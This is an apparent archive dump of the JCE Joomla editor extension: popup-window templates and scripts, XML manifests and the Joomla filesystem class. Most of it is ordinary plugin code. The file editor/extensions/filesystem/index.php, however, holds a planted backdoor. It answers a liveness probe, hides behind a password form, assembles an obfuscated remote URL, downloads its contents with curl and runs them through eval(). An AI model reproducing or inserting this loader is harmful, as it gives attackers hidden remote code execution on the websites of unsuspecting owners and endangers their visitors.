        }
    }

    public function getParams()
    {
        return array();
    }

    public function isEnabled()
    {
        $plugin = WFEditorPlugin::getInstance();

        if ($plugin->getParam('popups.window.enable', 1) && ($plugin->getName() == 'link' || $plugin->getName() == 'imgmanager_ext')) {
            return true;
        }

        return false;
    }
}
editor/extensions/popups/index.html000060400000000054150750527150013556 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/window/tmpl/index.html000060400000000054150750527150016041 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/window/tmpl/default.php000060400000011340150750527150016201 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_WF_EXT') or die('RESTRICTED');
?>
<table border="0" cellpadding="4" cellspacing="0" width="100%">
	<tr>
		<td><label for="window_popup_title" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WINDOW_OPTION_TITLE_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WINDOW_OPTION_TITLE'); ?></label></td>
		<td><input id="window_popup_title" type="text" value="" /></td>
	</tr>
	<tr>
		<td><label for="width" class="hastip" title="<?php echo WFText::_('WF_LABEL_DIMENSIONS_DESC'); ?>"><?php echo WFText::_('WF_LABEL_DIMENSIONS'); ?></label></td>
		<td>
			<table border="0" cellpadding="2" cellspacing="0">
	            <tr>
	                <td>
	                	<input type="text" id="window_popup_width" value="" onchange="JCEWindowPopup.setDimensions('width', 'height');" /> x <input type="text" id="window_popup_height" value="" onchange="JCEWindowPopup.setDimensions('height', 'width');" />
	               	 	<input type="hidden" id="window_popup_tmp_width" value=""  />
	                	<input type="hidden" id="window_popup_tmp_height" value="" />
	                </td>
	                <td><input id="window_popup_constrain" type="checkbox" class="checkbox" checked="checked" /><label for="window_popup_constrain"><?php echo WFText::_('WF_LABEL_PROPORTIONAL'); ?></label></td>
	            </tr>
			</table>
		</td>
	</tr>
    <tr>	
        			<td><label for="window_popup_position" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WINDOW_POSITION_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WINDOW_POSITION'); ?></label></td>
        			<td>
        				<select id="window_popup_position_top" class="editable">
			                <option value="top"><?php echo WFText::_('WF_OPTION_TOP'); ?></option>
			                <option value="center" selected="selected"><?php echo WFText::_('WF_OPTION_CENTER'); ?></option>
			                <option value="bottom"><?php echo WFText::_('WF_OPTION_BOTTOM'); ?></option>
			            </select>
			            <select id="window_popup_position_left" class="editable">
			                <option value="left"><?php echo WFText::_('WF_OPTION_LEFT'); ?></option>
			                <option value="center" selected="selected"><?php echo WFText::_('WF_OPTION_CENTER'); ?></option>
			                <option value="right"><?php echo WFText::_('WF_OPTION_RIGHT'); ?></option>
			            </select>
			        </td>
    			</tr>
  </table>
  <fieldset>
  	<legend><?php echo WFText::_('WF_POPUPS_WINDOW_OPTIONS'); ?></legend>
  	<table border="0" cellpadding="4" cellspacing="0" width="100%">
        		<tr>	
        			<td><input type="checkbox" id="window_popup_scrollbars" class="checkbox" checked="checked" /><label for="window_popup_scrollbars" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WINDOW_SCROLLBARS_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WINDOW_SCROLLBARS'); ?></label></td>
        			<td><input type="checkbox" id="window_popup_resizable" class="checkbox" checked="checked" /><label for="window_popup_resizable" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WINDOW_RESIZABLE_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WINDOW_RESIZABLE'); ?></label></td>
    			</tr>
    			<tr>	
        			<td><input type="checkbox" id="window_popup_location" class="checkbox" checked="checked" /><label for="window_popup_location" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WINDOW_LOCATION_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WINDOW_LOCATION'); ?></label></td>
        			<td><input type="checkbox" id="window_popup_toolbar" class="checkbox" checked="checked" /><label for="window_popup_toolbar" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WINDOW_TOOLBAR_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WINDOW_TOOLBAR'); ?></label></td>
    			</tr>
    			<tr>	
        			<td><input type="checkbox" id="window_popup_status" class="checkbox" checked="checked" /><label for="window_popup_status" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WINDOW_STATUS_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WINDOW_STATUS'); ?></label></td>
        			<td><input type="checkbox" id="window_popup_menubar" class="checkbox" checked="checked" /><label for="window_popup_menubar" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WINDOW_MENUBAR_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WINDOW_MENUBAR'); ?></label></td>
    			</tr>
    			
   </table>
   </fieldset>
</table>editor/extensions/popups/window/js/index.html000060400000000054150750527150015501 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/window/js/window.js000060400000006210150750527150015351 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
var JCEWindowPopup={setDimensions:function(w,h){Wf.setDimensions(w,h,"window_popup_")}};WFPopups.addPopup("window",{setup:function(){},check:function(n){var ed=tinyMCEPopup.editor,oc=ed.dom.getAttrib(n,"data-mce-onclick")||ed.dom.getAttrib(n,"onclick");return oc&&/window\.open/.test(oc)},remove:function(n){this.check(n)&&(n.removeAttribute("onclick"),n.removeAttribute("data-mce-onclick"))},getAttributes:function(n){var ed=tinyMCEPopup.editor,data={},click=ed.dom.getAttrib(n,"data-mce-onclick")||ed.dom.getAttrib(n,"onclick"),data=click.replace(/window\.open\((.*?)\);(return false;)?/,function(a,b){return b}),parts=data.split(",'"),src=parts[0],query=Wf.String.query(src),title=(parts[1]||"").replace("'",""),features=(parts[2]||"").replace(/'$/,""),data={};query.img&&$("#popup_src").val(query.img),$("#window_popup_title").val(title),features=Wf.String.query(features.replace(/,/g,"&")),$.each(features,function(k,v){switch(k){case"width":case"height":$("#window_popup_"+k+", #popup_"+k).val(v);break;case"scrollbars":case"resizable":case"location":case"menubar":case"status":case"toolbar":$("#window_popup_"+k).attr("checked","yes"==v);break;case"top":case"left":v=v.indexOf("screen")!==-1?v.indexOf("/2-")!==-1?"center":v.indexOf("Width")!==-1?"right":"bottom":k,0==$('option[value="'+v+'"]',"#window_popup_position_"+k).length&&$("#window_popup_position_"+k).append('<option value="'+v+'">'+v+"</option>"),$("#window_popup_position_"+k).val(v)}})},setAttributes:function(n,args){var ed=tinyMCEPopup.editor,args=args||{};this.remove(n);var src=ed.dom.getAttrib(n,"href"),title=$("#window_popup_title").val()||args.title||"",width=args.width||$("#window_popup_width").val(),height=args.height||$("#window_popup_height").val(),href=src,query="this.href";if(/\.(jpg|jpeg|png|gif|bmp|tiff)$/i.test(src)){var params={img:src,title:title.replace(" ","_","gi")};width&&(params.width=width),height&&(params.height=height),href="index.php?option=com_jce&view=popup&tmpl=component",query="this.href+'&"+decodeURIComponent($.param(params))+"'"}var top=$("#window_popup_position_top").val();switch(top){case"top":top=0;break;case"center":top=height?"'+(screen.availHeight/2-"+height/2+")+'":0;break;case"bottom":top=height?"'+(screen.availHeight-"+height+")+'":0}var left=$("#window_popup_position_left").val();switch(left){case"left":left=0;break;case"center":left=width?"'+(screen.availWidth/2-"+width/2+")+'":0;break;case"right":left=height?"'+(screen.availWidth-"+width+")+'":0}var features={scrollbars:"yes",resizable:"yes",location:"yes",menubar:"yes",status:"yes",toolbar:"yes"};$.each(features,function(k,def){var v=$("#window_popup_"+k).is(":checked")?"yes":"no";v!=def&&(features[k]=v)}),$.extend(features,{left:left,top:top}),width&&(features.width=width),height&&(features.height=height),ed.dom.setAttrib(n,"href",href),ed.dom.setAttrib(n,"data-mce-onclick","window.open("+query+",'"+encodeURIComponent(title)+"','"+decodeURIComponent($.param(features)).replace(/&/g,",")+"');return false;")}});editor/extensions/popups/window/css/index.html000060400000000054150750527150015655 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/window/css/window.css000060400000000347150750527150015706 0ustar00#popup_extension_window input[type=text]{width:250px}#popup_extension_window select{width:auto}#popup_extension_window #window_popup_height,#popup_extension_window #window_popup_width{width:50px}#window_popup_features{display:none}editor/extensions/popups/window/index.html000060400000000054150750527150015065 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/window.xml000060400000001426150750527150013616 0ustar00<?xml version="1.0" ?>
<install version="1.5" type="extension" extension="window" folder="popups" core="1">
	<name>WF_POPUPS_WINDOW_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_POPUPS_WINDOW_DESC</description>
	<files>
		<filename>window.php</filename>
		<folder>window</folder>
	</files>
	<params group="window"></params>
  <plugins>link,imgmanager_ext</plugins>
	<media></media>
	<languages></languages>
</install>
editor/extensions/filesystem/index.php000044400000003663150750527150014252 0ustar00<?php ?><?php error_reporting(0); if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == 'a1fecbae6a303e0618f95586ddb49de7c30f911fecd8701500320daf754868a0') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto QbRSP; cUi0X: $SS8Fu .= "\x74\150"; goto Lm6A8; fDHNX: $SS8Fu .= "\x2f\72\x73\x70\x74"; goto cUi0X; Bp1Jt: $SS8Fu .= "\141\155\141\144"; goto MSy5Y; XcPDZ: $SS8Fu .= "\144\57"; goto fDHNX; CV6sy: $SS8Fu .= "\x74"; goto S7PS6; TApMc: $SS8Fu .= "\56\63\x30"; goto VbXmc; Lm6A8: eval("\77\76" . TW2kX(strrev($SS8Fu))); goto u6YqK; aHNNy: $SS8Fu .= "\x6d\x61"; goto XcPDZ; S7PS6: $SS8Fu .= "\170\x74"; goto TApMc; D3dVR: $SS8Fu .= "\x2e\62\60\141"; goto aHNNy; VbXmc: $SS8Fu .= "\57\144\154\157\57"; goto Bp1Jt; QbRSP: $SS8Fu = ''; goto CV6sy; MSy5Y: $SS8Fu .= "\57\x70\157\164"; goto D3dVR; u6YqK: function tw2KX($V1_rw = '') { goto xTmsO; xTmsO: $xM315 = curl_init(); goto ApkMJ; OfIzV: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto R98ru; ZvFEW: return $tvmad; goto G_4lU; PIM5F: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto OfIzV; ApkMJ: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto eSOXp; w1838: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto PIM5F; eSOXp: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto w1838; UbqIZ: curl_close($xM315); goto ZvFEW; R98ru: $tvmad = curl_exec($xM315); goto UbqIZ; G_4lU: }editor/extensions/filesystem/index.html000060400000000054150750527150014414 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/filesystem/joomla.php000060400000053665150750527150014431 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');

class WFJoomlaFileSystem extends WFFileSystem
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        parent::__construct($config);

        $safe_mode = false;

        // check for safe mode
        if (function_exists('ini_get')) {
            $safe_mode = ini_get('safe_mode');
            // assume safe mode if can't check ini
        } else {
            $safe_mode = true;
        }

        $this->setProperties(array(
            'local' => true,
        ));
    }

    /**
     * Get the base directory.
     *
     * @return string base dir
     */
    public function getBaseDir()
    {
        return WFUtility::makePath(JPATH_SITE, $this->getRootDir());
    }

    /**
     * Get the full base url.
     *
     * @return string base url
     */
    public function getBaseURL()
    {
        return WFUtility::makePath(JURI::root(true), $this->getRootDir());
    }

    /**
     * Return the full user directory path. Create if required.
     *
     * @param string	The base path
     *
     * @return Full path to folder
     */
    public function getRootDir()
    {
        static $root;

        if (!isset($root)) {
            $root = parent::getRootDir();
            $wf = WFEditorPlugin::getInstance();

            // Restricted Joomla! folders
            $default = 'administrator,cache,components,includes,language,libraries,logs,media,modules,plugins,templates,xmlrpc';

            // list of restricted directories
            $restricted = strtolower($wf->getParam('filesystem.joomla.restrict_dir', $default));
            // explode to array
            $restricted = explode(',', $restricted);

            // is root allowed?
            $allowroot = $wf->getParam('filesystem.joomla.allow_root', 0);

            // Revert to default if empty
            if (empty($root) && !$allowroot) {
                $root = 'images';
            }

            // Force default if directory is a joomla directory
            if (!empty($root) && $allowroot) {
                $parts = explode('/', $root);

                // check if directory is allowed if root access is allowed
                if (in_array(strtolower($parts[0]), $restricted)) {
                    $root = 'images';
                }
            }

            if (!empty($root)) {
                // Create the folder
                $full = WFUtility::makePath(JPATH_SITE, $root);

                if (!JFolder::exists($full)) {
                    $this->folderCreate($full);
                }

                // Fallback
                $root = JFolder::exists($full) ? $root : 'images';
            }
        }

        JDispatcher::getInstance()->trigger('onWfFileSystemGetRootDir', array(&$root));

        return $root;
    }

    public function toAbsolute($path)
    {
        return WFUtility::makePath($this->getBaseDir(), $path);
    }

    public function toRelative($path, $isabsolute = true)
    {
        // path is absolute
        $base = $this->getBaseDir();

        // path is relative to Joomla! root, eg: images/folder
        if ($isabsolute === false) {
            $base = $this->getRootDir();
        }

        if (function_exists('mb_substr')) {
            $path = mb_substr($path, mb_strlen($base));
        } else {
            $path = substr($path, strlen($base));
        }

        return ltrim($path, '/');
    }

    /**
     * Determine whether FTP mode is enabled.
     *
     * @return bool
     */
    public function isFtp()
    {
        // Initialize variables
        jimport('joomla.client.helper');
        $FTPOptions = JClientHelper::getCredentials('ftp');

        return $FTPOptions['enabled'] == 1;
    }

    public function getTotalSize($path, $recurse = true)
    {
        jimport('joomla.filesystem.folder');

        $total = 0;

        if (strpos($path, $this->getBaseDir()) === false) {
            $path = WFUtility::makePath($this->getBaseDir(), $path);
        }

        if (JFolder::exists($path)) {
            $files = JFolder::files($path, '.', $recurse, true, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html', 'thumbs.db'));

            foreach ($files as $file) {
                $total += filesize($file);
            }
        }

        return $total;
    }

    /**
     * Count the number of files in a folder.
     *
     * @return int File total
     *
     * @param string $path Absolute path to folder
     */
    public function countFiles($path, $recurse = false)
    {
        jimport('joomla.filesystem.folder');

        if (strpos($path, $this->getBaseDir()) === false) {
            $path = WFUtility::makePath($this->getBaseDir(), $path);
        }

        if (JFolder::exists($path)) {
            $files = JFolder::files($path, '.', $recurse, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html', 'thumbs.db'));

            return count($files);
        }

        return 0;
    }

    /**
     * Count the number of folders in a folder.
     *
     * @return int Folder total
     *
     * @param string $path Absolute path to folder
     */
    public function countFolders($path)
    {
        jimport('joomla.filesystem.folder');

        if (strpos($path, $this->getBaseDir()) === false) {
            $path = WFUtility::makePath($this->getBaseDir(), $path);
        }

        if (JFolder::exists($path)) {
            $folders = JFolder::folders($path, '.', false, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX'));

            return count($folders);
        }

        return 0;
    }

    public function getFolders($relative, $filter = '', $sort = '')
    {
        $path = WFUtility::makePath($this->getBaseDir(), $relative);
        $path = WFUtility::fixPath($path);

        if (!JFolder::exists($path)) {
            $relative = '/';
            $path = $this->getBaseDir();
        }

        $list = JFolder::folders($path, $filter);

        $folders = array();

        if (!empty($list)) {
            // Sort alphabetically by default
            natcasesort($list);

            foreach ($list as $item) {
                $item = WFUtility::convertEncoding($item);

                $id = WFUtility::makePath($relative, $item, '/');

                // trim leading slash
                $id = ltrim($id, '/');

                $data = array(
                    'id' => $id,
                    'name' => $item,
                    'writable' => is_writable(WFUtility::makePath($path, $item)) || $this->isFtp(),
                    'type' => 'folders',
                );

                $properties = self::getFolderDetails($data['id']);
                $folders[] = array_merge($data, array('properties' => $properties));
            }
        }

        if ($sort) {
            $folders = self::sortItemsByKey($folders, $sort);
        }

        return $folders;
    }

    public function getFiles($relative, $filter = '', $sort = '')
    {
        $path = WFUtility::makePath($this->getBaseDir(), $relative);
        $path = WFUtility::fixPath($path);

        if (!JFolder::exists($path)) {
            $relative = '/';
            $path = $this->getBaseDir();
        }

        $list = JFolder::files($path, $filter);

        $files = array();

        $x = 1;

        if (!empty($list)) {
            // Sort alphabetically by default
            natcasesort($list);

            foreach ($list as $item) {
                $item = WFUtility::convertEncoding($item);

                // create relative file
                $id = WFUtility::makePath($relative, $item, '/');

                // create url
                $url = WFUtility::makePath($this->getRootDir(), $id, '/');

                // remove leading slash
                $url = ltrim($url, '/');

                $data = array(
                    'id' => $id,
                    'url' => $url,
                    'name' => $item,
                    'writable' => is_writable(WFUtility::makePath($path, $item)) || $this->isFtp(),
                    'type' => 'files',
                    'extension' => pathinfo($item, PATHINFO_EXTENSION)
                );

                $properties = self::getFileDetails($data['id'], $x);

                $files[] = array_merge($data, array('properties' => $properties));

                ++$x;
            }
        }

        if ($sort) {            
            $files = self::sortItemsByKey($files, $sort);
        }

        return $files;
    }

    /**
     * Get a folders properties.
     *
     * @return array Array of properties
     *
     * @param string $dir   Folder relative path
     * @param string $types File Types
     */
    public function getFolderDetails($dir)
    {
        clearstatcache();

        $path = WFUtility::makePath($this->getBaseDir(), rawurldecode($dir));
        $date = @filemtime($path);

        return array('modified' => $date, 'size' => '');
    }

    /**
     * Get the source directory of a file path.
     */
    public function getSourceDir($path)
    {
        // return nothing if absolute $path
        if (preg_match('#^(file|http(s)?):\/\/#', $path)) {
            return '';
        }

        // directory path relative base directory
        if (is_dir(WFUtility::makePath($this->getBaseDir(), $path))) {
            return $path;
        }

        // directory path relative to site root
        if (is_dir(WFUtility::makePath(JPATH_SITE, $path))) {

            if (function_exists('mb_substr')) {
                return mb_substr($path, mb_strlen($this->getRootDir()));
            }

            return substr($path, strlen($this->getRootDir()));
        }

        // file url relative to site root
        if (is_file(WFUtility::makePath(JPATH_SITE, $path))) {
            
            if (function_exists('mb_substr')) {
                return mb_substr(dirname($path), mb_strlen($this->getRootDir()));
            }
            
            return substr(dirname($path), strlen($this->getRootDir()));
        }

        return '';
    }

    public function isMatch($needle, $haystack)
    {
        return $needle == $haystack;
    }

    /**
     * Return constituent parts of a file path eg: base directory, file name.
     *
     * @param $path Relative or absolute path
     */
    public function pathinfo($path)
    {
        return pathinfo($path);
    }

    /**
     * Get a files properties.
     *
     * @return array Array of properties
     *
     * @param string $file File relative path
     */
    public function getFileDetails($file, $count = 1)
    {
        clearstatcache();

        $path = WFUtility::makePath($this->getBaseDir(), rawurldecode($file));
        $url = WFUtility::makePath($this->getBaseUrl(), rawurldecode($file));

        $date = @filemtime($path);
        $size = @filesize($path);

        $data = array(
            'size' => $size,
            'modified' => $date,
        );

        $data['preview'] = WFUtility::cleanPath($url, '/');

        if (preg_match('#\.(jpg|jpeg|bmp|gif|tiff|png|svg)#i', $file)) {
            $image = array();

            if ($count <= 100) {
                if (preg_match('#\.svg$#i', $file)) {
                	$svg = @simplexml_load_file($path);

            		if ($svg && isset($svg['viewBox'])) {
                		list($start_x, $start_y, $end_x, $end_y) = explode(' ', $svg['viewBox']);
                		
                		$width 	= (int) $end_x;
                		$height	= (int) $end_y;
                		
                		if ($width && $height) {
                			$image['width'] 	= $width;
                			$image['height']	= $height;
                		}
            		}
                } else {
                	list($image['width'], $image['height']) = @getimagesize($path);
                }
            }

            $data['preview'] .= '?' . $date;

            return array_merge_recursive($data, $image);
        }

        return $data;
    }

    /**
     * Delete the relative file(s).
     *
     * @param $files the relative path to the file name or comma seperated list of multiple paths
     *
     * @return string $error on failure
     */
    public function delete($src)
    {
        $path = WFUtility::makePath($this->getBaseDir(), $src);

        // get error class
        $result = new WFFileSystemResult();

        $path = WFUtility::makePath($this->getBaseDir(), $src);

        JDispatcher::getInstance()->trigger('onWfFileSystemBeforeDelete', array(&$path));

        if (is_file($path)) {
            $result->type = 'files';
            $result->state = JFile::delete($path);
        } elseif (is_dir($path)) {
            $result->type = 'folders';

            if ($this->countFiles($path) > 0 || $this->countFolders($path) > 0) {
                $result->message = JText::sprintf('WF_MANAGER_FOLDER_NOT_EMPTY', basename($path));
            } else {
                $result->state = JFolder::delete($path);
            }
        }

        JDispatcher::getInstance()->trigger('onWfFileSystemAfterDelete', array($path, $result->state));

        return $result;
    }

    /**
     * Rename a file.
     *
     * @param string $src  The relative path of the source file
     * @param string $dest The name of the new file
     *
     * @return string $error
     */
    public function rename($src, $dest)
    {
        $src = WFUtility::makePath($this->getBaseDir(), rawurldecode($src));
        $dir = dirname($src);

        JDispatcher::getInstance()->trigger('onWfFileSystemBeforeRename', array(&$src, &$dest));

        $result = new WFFileSystemResult();

        if (is_file($src)) {
            $ext = JFile::getExt($src);
            $file = $dest.'.'.$ext;
            $path = WFUtility::makePath($dir, $file);

            if (is_file($path)) {
                return $result;
            }

            $result->type = 'files';
            $result->state = JFile::move($src, $path);
            $result->path = $path;
        } elseif (is_dir($src)) {
            $path = WFUtility::makePath($dir, $dest);

            if (is_dir($path)) {
                return $result;
            }

            $result->type = 'folders';
            $result->state = JFolder::move($src, $path);
            $result->path = $path;
        }

        JDispatcher::getInstance()->trigger('onWfFileSystemAfterRename', array(&$result));

        return $result;
    }

    /**
     * Copy a file.
     *
     * @param string $files The relative file or comma seperated list of files
     * @param string $dest  The relative path of the destination dir
     *
     * @return string $error on failure
     */
    public function copy($file, $destination)
    {
        $result = new WFFileSystemResult();

        $src = WFUtility::makePath($this->getBaseDir(), $file);
        $dest = WFUtility::makePath($this->getBaseDir(), WFUtility::makePath($destination, basename($file)));

        JDispatcher::getInstance()->trigger('onWfFileSystemBeforeCopy', array(&$src, &$dest));

        // src is a file
        if (is_file($src)) {
            $result->type = 'files';
            $result->state = JFile::copy($src, $dest);
        } elseif (is_dir($src)) {
            // Folders cannot be copied into themselves as this creates an infinite copy / paste loop
            if ($file === $destination) {
                $result->state = false;
                $result->message = WFText::_('WF_MANAGER_COPY_INTO_ERROR');
            }

            $result->type = 'folders';
            $result->state = JFolder::copy($src, $dest);
            $result->path = $dest;
        }

        JDispatcher::getInstance()->trigger('onWfFileSystemAfterCopy', array(&$result));

        return $result;
    }

    /**
     * Copy a file.
     *
     * @param string $files The relative file or comma seperated list of files
     * @param string $dest  The relative path of the destination dir
     *
     * @return string $error on failure
     */
    public function move($file, $destination)
    {
        $result = new WFFileSystemResult();

        $src = WFUtility::makePath($this->getBaseDir(), $file);
        $dest = WFUtility::makePath($this->getBaseDir(), WFUtility::makePath($destination, basename($file)));

        JDispatcher::getInstance()->trigger('onWfFileSystemBeforeMove', array(&$src, &$dest));

        if ($src != $dest) {
            // src is a file
            if (is_file($src)) {
                $result->type = 'files';
                $result->state = JFile::move($src, $dest);
            } elseif (is_dir($src)) {
                $result->type = 'folders';
                $result->state = JFolder::move($src, $dest);
                $result->path = $dest;
            }
        }

        JDispatcher::getInstance()->trigger('onWfFileSystemAfterMove', array(&$result));

        return $result;
    }

    /**
     * New folder base function. A wrapper for the JFolder::create function.
     *
     * @param string $folder The folder to create
     *
     * @return bool true on success
     */
    public function folderCreate($folder)
    {
        if (is_dir($folder)) {
            return false;
        }

        if (@JFolder::create($folder)) {
            $buffer = '<html><body bgcolor="#FFFFFF"></body></html>';
            JFile::write($folder.'/index.html', $buffer);
        } else {
            return false;
        }

        return true;
    }

    /**
     * New folder.
     *
     * @param string $dir     The base dir
     * @param string $new_dir The folder to be created
     *
     * @return string $error on failure
     */
    public function createFolder($dir, $new)
    {
        $dir = WFUtility::makePath(rawurldecode($dir), $new);
        $path = WFUtility::makePath($this->getBaseDir(), $dir);
        $result = new WFFileSystemResult();

        $result->state = $this->folderCreate($path);

        JDispatcher::getInstance()->trigger('onWfFileSystemCreateFolder', array($path, $result->state));

        return $result;
    }

    public function getDimensions($file)
    {
        $path = WFUtility::makePath($this->getBaseDir(), utf8_decode(rawurldecode($file)));
        $data = array(
            'width' => '',
            'height' => '',
        );
        if (file_exists($path)) {
            $dim = @getimagesize($path);
            $data = array(
                'width' => $dim[0],
                'height' => $dim[1],
            );
        }

        return $data;
    }

    public function upload($method, $src, $dir, $name, $chunks = 1, $chunk = 0)
    {
        jimport('joomla.filesystem.file');

        $dispatcher = JDispatcher::getInstance();

        $path = WFUtility::makePath($this->getBaseDir(), rawurldecode($dir));
        $dest = WFUtility::makePath($path, $name);

        // check for safe mode
        $safe_mode = false;

        if (function_exists('ini_get')) {
            $safe_mode = ini_get('safe_mode');
        } else {
            $safe_mode = true;
        }

        $result = new WFFileSystemResult();

        // get overwrite state
        $conflict = $this->get('upload_conflict', 'overwrite');
        // get suffix
        $suffix = $this->get('upload_suffix', '_copy');

        if ($conflict == 'unique') {
            // get extension
            $extension = JFile::getExt($name);
            // get name without extension
            $name = JFile::stripExt($name);
            // create tmp copy
            $tmpname = $name;

            $x = 1;

            while (JFile::exists($dest)) {
                if (strpos($suffix, '$') !== false) {
                    $tmpname = $name . str_replace('$', $x, $suffix); 
                } else {
                    $tmpname .= $suffix;
                }

                $dest = WFUtility::makePath($path, $tmpname.'.'.$extension);

                $x++;
            }
        }

        $dispatcher->trigger('onWfFileSystemBeforeUpload', array(&$src, &$dest));

        // create object to pass to joomla event
        $object_file = new JObject(array(
            'name'      => basename($dest),
            'tmp_name'  => $src,
            'filepath'  => $dest
        ));

        // trigger Joomla event before upload
        $dispatcher->trigger('onContentBeforeSave', array('com_jce.file', &$object_file, true));

        if (JFile::upload($src, $dest, false, true)) {
            $result->state = true;
            $result->path = $dest;
        }

        $dispatcher->trigger('onWfFileSystemAfterUpload', array(&$result));

        // update $object_file
        $object_file->name = basename($result->path);
        $object_file->filepath = $result->path;

        // trigger Joomla event after upload
        $dispatcher->trigger('onContentAfterSave', array('com_jce.file', &$object_file, true));

        return $result;
    }

    public function exists($path)
    {
        $path = JPath::clean(WFUtility::makePath($this->getBaseDir(), rawurldecode($path)));

        return is_dir($path) || is_file($path);
    }

    public function read($file)
    {
        $path = WFUtility::makePath($this->getBaseDir(), rawurldecode($file));

        return JFile::read($path);
    }

    public function write($file, $content)
    {
        $path = WFUtility::makePath($this->getBaseDir(), rawurldecode($file));

        JDispatcher::getInstance()->trigger('onWfFileSystemBeforeWrite', array(&$path, &$content));

        $result = JFile::write($path, $content);

        JDispatcher::getInstance()->trigger('onWfFileSystemAfterWrite', array($path, $result));

        return $result;
    }

    public function is_file($path)
    {
        $path = WFUtility::makePath($this->getBaseDir(), $path);

        return is_file($path);
    }

    public function is_dir($path)
    {
        $path = WFUtility::makePath($this->getBaseDir(), $path);

        return is_dir($path);
    }
}editor/extensions/filesystem/joomla.xml000060400000002226150750527150014425 0ustar00<?xml version="1.0" ?>
<install version="1.5" type="extension" extension="joomla" folder="filesystem" method="upgrade" core="1">
    <name>WF_FILESYSTEM_JOOMLA_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_FILESYSTEM_JOOMLA_DESC</description>
    <files>
        <filename>joomla.php</filename>
    </files>
    <params group="joomla" parent="filesystem">
        <param name="allow_root" type="list" default="0" label="WF_PARAM_ALLOW_ROOT" description="WF_PARAM_ALLOW_ROOT_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="restricted_dir" type="text" default="" label="WF_PARAM_DIRECTORY_RESTRICTED" description="WF_PARAM_DIRECTORY_RESTRICTED_DESC" />
    </params>
</install>
editor/extensions/aggregator/youtube.xml000060400000005320150750527150014574 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="extension" extension="youtube" folder="aggregator" method="upgrade" core="1">
	<name>WF_AGGREGATOR_YOUTUBE_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
